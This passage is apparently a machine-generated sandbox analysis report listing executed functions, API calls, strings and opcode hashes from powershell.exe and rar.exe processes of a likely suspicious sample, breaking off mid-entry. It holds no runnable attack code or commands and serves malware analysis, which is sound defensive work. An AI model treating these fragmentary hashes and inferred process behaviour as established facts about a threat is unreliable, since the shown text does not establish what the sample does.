L_^, xrefs: 00007FFD9A4E850A
L_^, xrefs: 00007FFD9A4E85C9

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^$L_^$L_^
API String ID: 0-358832956
Opcode ID: d21154742f999148821eb2bfc24e736ac9d72b24ea6ddc28efa38152a48e4c71
Instruction ID: 23d2bf42f17fa08abe4851f96e8f09baa89d5ae1d6c1ec4400146a00ff251b70
Opcode Fuzzy Hash: d21154742f999148821eb2bfc24e736ac9d72b24ea6ddc28efa38152a48e4c71
Instruction Fuzzy Hash: A0710297F0EAC30AE76A4ABD68751A57BD0EF52354B2D01F6C0DC8A0A3ED196C068753

Analysis Process: powershell.exePID: 8260, Parent PID: 6592COMMON

Executed Functions

Function 00007FFD9A5A1821 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1994470884.00007FFD9A5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9a5a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 457abc6f10abe163c2b6dce073789d151ba4809e254ec9ce9c02712f3c3f30d9
Instruction ID: 8d88ca9b9556be41970e09a6328202088f12b23bbce516eb047c987e78de76e8
Opcode Fuzzy Hash: 457abc6f10abe163c2b6dce073789d151ba4809e254ec9ce9c02712f3c3f30d9
Instruction Fuzzy Hash: 05A11862B0DB854FE7AB9A6848651B57BE1EF87320B1941FFD04DC71E3DE18A806C351

Function 00007FFD9A5A1AB1 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1994470884.00007FFD9A5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9a5a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd21fb031576acbe2ad2db43e9f06e5de0d77f18280fc4e08f2a8ed9c1ae9fd8
Instruction ID: a8949a15d5e0640d402c1d4167de538688b21b2e6a10b78103937854a0db3c4e
Opcode Fuzzy Hash: cd21fb031576acbe2ad2db43e9f06e5de0d77f18280fc4e08f2a8ed9c1ae9fd8
Instruction Fuzzy Hash: CC711423F0EA994FE7BA9AA858655B57BD1FF86310B1801FAD05DC31D7ED18AC05C342

Function 00007FFD9A4D4EE6 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1993662840.00007FFD9A4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9a4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7204be0f352d38a7c8cf03cf29e20d36eb8a7981a3677f71610394fe21190b2c
Instruction ID: 17e939447984b0e04a89c714b1c475f11e8dfa07fbb1d7b27b30a35d1e3b97df
Opcode Fuzzy Hash: 7204be0f352d38a7c8cf03cf29e20d36eb8a7981a3677f71610394fe21190b2c
Instruction Fuzzy Hash: E3413D71E18A088FDB58EFACD8915ACB7F1EF59315B1441ADD40EE7292CF35A842CB81

Function 00007FFD9A4D4E51 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1993662840.00007FFD9A4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9a4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012b2405407794b4d79654df0742d776903c17c8c31c1b569b9b95dbaf4e4f07
Instruction ID: ab8f2c3a96d53b3f7e44af16d713040c67af03ad229a4c6a2da26d1a14756fe0
Opcode Fuzzy Hash: 012b2405407794b4d79654df0742d776903c17c8c31c1b569b9b95dbaf4e4f07
Instruction Fuzzy Hash: E2112E71E186198FEB58EF58D4552ACB7A1EF58315F24416DD00EE7285CF35A842CB44

Function 00007FFD9A4D3945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.1993662840.00007FFD9A4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9a4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 7bf64428fcf30c46270b6fc06329f52be7a7907989bdb226c8e40e3ffa0b6f0f
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: D101A73120CB0C4FD758EF0CE451AA5B7E0FB85324F10056DE58AC36A5D736E882CB46

Analysis Process: rar.exePID: 8568, Parent PID: 7864COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1241
Total number of Limit Nodes:	41

Executed Functions

Function 00007FF64FE6901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF64FE6904D
CryptGenRandom.ADVAPI32 ref: 00007FF64FE69061
CryptReleaseContext.ADVAPI32 ref: 00007FF64FE69074

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: 98d8c2e07a39d42b75fd621679c1fde2f95a64d6ab006e371b4c1bb1f168122c
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: 99014B26B0C69092FB40AB16A94432D6B62FBC4FD1F5A8431EF4D87B68CE7DD9468700

Function 00007FF64FE7AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF64FE7B0C7

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57e708d172b4f9bc7610111e00af6b160641e0151f479ce57ca39fdc54f6c8f6
Instruction ID: ec7fe3c222880d23af7d8d44ffc8802c2a37f7e79474e4188d8231b855ca4124
Opcode Fuzzy Hash: 57e708d172b4f9bc7610111e00af6b160641e0151f479ce57ca39fdc54f6c8f6
Instruction Fuzzy Hash: B6719F32A0968596D744FF2AE8052ED33E1FBC8F98F044135DB5D8B399DF78A4518790

Function 00007FF64FE93EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF64FE93EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF64FE93E8F,?,00007FF64FE87E90), ref: 00007FF64FE93F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF64FE943C6

Strings

,, xrefs: 00007FF64FE943FB
RTL, xrefs: 00007FF64FE9437A
\, xrefs: 00007FF64FE94519
DIALOG, xrefs: 00007FF64FE94227
*messages***, xrefs: 00007FF64FE94050
MENU, xrefs: 00007FF64FE94235
@%s:, xrefs: 00007FF64FE943A5
DIRECTION, xrefs: 00007FF64FE94243
STRINGS, xrefs: 00007FF64FE94219
*messages***, xrefs: 00007FF64FE94080
$%s:, xrefs: 00007FF64FE9439E

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: ae8474dee3b463159ef0040d2370611761e4d5b9e5e790769e2fb30427c5b3fa
Instruction ID: 087dc093614d45651639b7236ba59b0466f37fafac88372b4676f3ed134cf50b
Opcode Fuzzy Hash: ae8474dee3b463159ef0040d2370611761e4d5b9e5e790769e2fb30427c5b3fa
Instruction Fuzzy Hash: 4B22BE62A1D682E5EB20FB15D454AFA23A1FFC4785F808136EA4EC76D9EF2CE544C350

Function 00007FF64FE64FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF64FE65043
wcschr.LIBVCRUNTIME ref: 00007FF64FE65129

Strings

AFUMD, xrefs: 00007FF64FE65122
.rar, xrefs: 00007FF64FE650E6
.part, xrefs: 00007FF64FE650A5
.rar, xrefs: 00007FF64FE6508E
FUADPXETK, xrefs: 00007FF64FE6503C
stdin, xrefs: 00007FF64FE652C2

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: 058afe0850c41108d8beb08c3fbbb53ab0baf1114d46bd2fdf51c63210882d69
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: 4AC19561B1C686A4FA64BF25C8551FC1391BFD1B86F846135FB4ECB6DADE2CE5008311

Function 00007FF64FE97F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF64FE9805C

Part of subcall function 00007FF64FE9B3F0: GetSystemDirectoryW.KERNEL32(00000000,00007FF64FE97F72), ref: 00007FF64FE9B41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF64FE97F88
GetProcAddress.KERNEL32 ref: 00007FF64FE97FA3

Strings

CryptProtectMemory, xrefs: 00007FF64FE97F7E
CryptUnprotectMemory, xrefs: 00007FF64FE97F95
CryptUnprotectMemory failed, xrefs: 00007FF64FE98053
Crypt32.dll, xrefs: 00007FF64FE97F66
CryptProtectMemory failed, xrefs: 00007FF64FE98009

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 5ff17579f6f4625e7be5a14b323babceaa2d1bc7fd3ffcbf9054e091c6d0d9cf
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 7D417C21A0CB86B1FA44FB16B8009796BA2BFC4BD6F481135DD5E877A4DE7DE0468320

Function 00007FF64FEAB0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF64FEAB110

Part of subcall function 00007FF64FEAAA8C: __isa_available_init.LIBCMT ref: 00007FF64FEAAAA9
Part of subcall function 00007FF64FEAAA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF64FEAAAAE

__scrt_fastfail.LIBCMT ref: 00007FF64FEAB11E

Part of subcall function 00007FF64FEAB52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF64FEAB548
Part of subcall function 00007FF64FEAB52C: RtlCaptureContext.KERNEL32 ref: 00007FF64FEAB571
Part of subcall function 00007FF64FEAB52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF64FEAB58B
Part of subcall function 00007FF64FEAB52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF64FEAB5CC
Part of subcall function 00007FF64FEAB52C: IsDebuggerPresent.KERNEL32 ref: 00007FF64FEAB620
Part of subcall function 00007FF64FEAB52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF64FEAB641
Part of subcall function 00007FF64FEAB52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF64FEAB64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF64FEAB12C
__scrt_fastfail.LIBCMT ref: 00007FF64FEAB143
__scrt_release_startup_lock.LIBCMT ref: 00007FF64FEAB1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF64FEAB1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF64FEAB1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF64FEAB21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF64FEAB239

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: dabb7f9d29ff028aeb105e05f75f37b6422b4c804011dda24342c0c00835b5c6
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: EF318C21E0C283A2FA15BB24E4263B923E1BFD578AF440436EA4DCB2D7DE2CE404C751

Function 00007FF64FE71E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF64FE71F4A
GetLastError.KERNEL32 ref: 00007FF64FE71F59
CreateFileW.KERNELBASE ref: 00007FF64FE71F99
GetLastError.KERNEL32 ref: 00007FF64FE71FA2
SetFileTime.KERNEL32 ref: 00007FF64FE71FF1

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: edf625500f459bbeda415dd68077b9bcc1623caa95299d37a74ce0330f338cf7
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: B2412272A1C28156EB64BF24E8057A96BE0BB85BB9F000334EE79836C5DF7DD4458B00

Function 00007FF64FE66AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF64FE66C13

Strings

rar.ini, xrefs: 00007FF64FE66B37
switches_%ls=, xrefs: 00007FF64FE66C03
switches=, xrefs: 00007FF64FE66B80

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: a75675625fcad262c88105911634ec836617e747f16cebe70e8c323edf688622
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: 4B418B21A2CA86E1EA14FF21D8505B923A0FFC4BA5F802535EA5D87AD6EF7CE555C300

Function 00007FF64FE87E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64FE9B470: GetModuleHandleW.KERNEL32 ref: 00007FF64FE9B488
Part of subcall function 00007FF64FE9B470: GetProcAddress.KERNEL32 ref: 00007FF64FE9B4A0
Part of subcall function 00007FF64FE9B470: GetProcAddress.KERNEL32 ref: 00007FF64FE9B4D5

Part of subcall function 00007FF64FE67A68: setbuf.LIBCMT ref: 00007FF64FE67A7B
Part of subcall function 00007FF64FE67A68: setbuf.LIBCMT ref: 00007FF64FE67A8F

SetErrorMode.KERNELBASE ref: 00007FF64FE87E5D
GetModuleHandleW.KERNEL32 ref: 00007FF64FE87E65

Part of subcall function 00007FF64FE948CC: GetVersionExW.KERNEL32(?,?,?,00007FF64FE87E7D), ref: 00007FF64FE9496A
Part of subcall function 00007FF64FE948CC: LoadLibraryExW.KERNELBASE(?,?,?,00007FF64FE87E7D), ref: 00007FF64FE94993

new.LIBCMT ref: 00007FF64FE87EA8

Strings

rar.lng, xrefs: 00007FF64FE87E7D

Memory Dump Source

Source File: 00000053.00000002.2018601741.00007FF64FE51000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF64FE50000, based on PE: true

Associated: 00000053.00000002.2018544373.00007FF64FE50000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018799123.00007FF64FED8000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018849155.00007FF64FED9000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEDA000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEE4000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEEE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2018892086.00007FF64FEF6000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019066736.00007FF64FEF8000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000053.00000002.2019108961.00007FF64FEFE000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_83_2_7ff64fe50000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: 39970e7c6d0227ca57f33f9c031fdb4e3bcfaef39f08ad794915361c5ea6dedb
Instruction ID: 1f1d05f2ee5245fcb12dfbc98bbcc781afe38198ec1b851e3ec212b0eabd1911
Opcode Fuzzy Hash: 39970e7c6d0227ca57f33f9c031fdb4e3bcfaef39f08ad794915361c5ea6dedb
Instruction Fuzzy Hash: 7D419321E0C287A5FB14BB22A8152B96391BFC1B56F981139FA0EC73D7CE2DE4058751

Function 00007FF64FE840A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

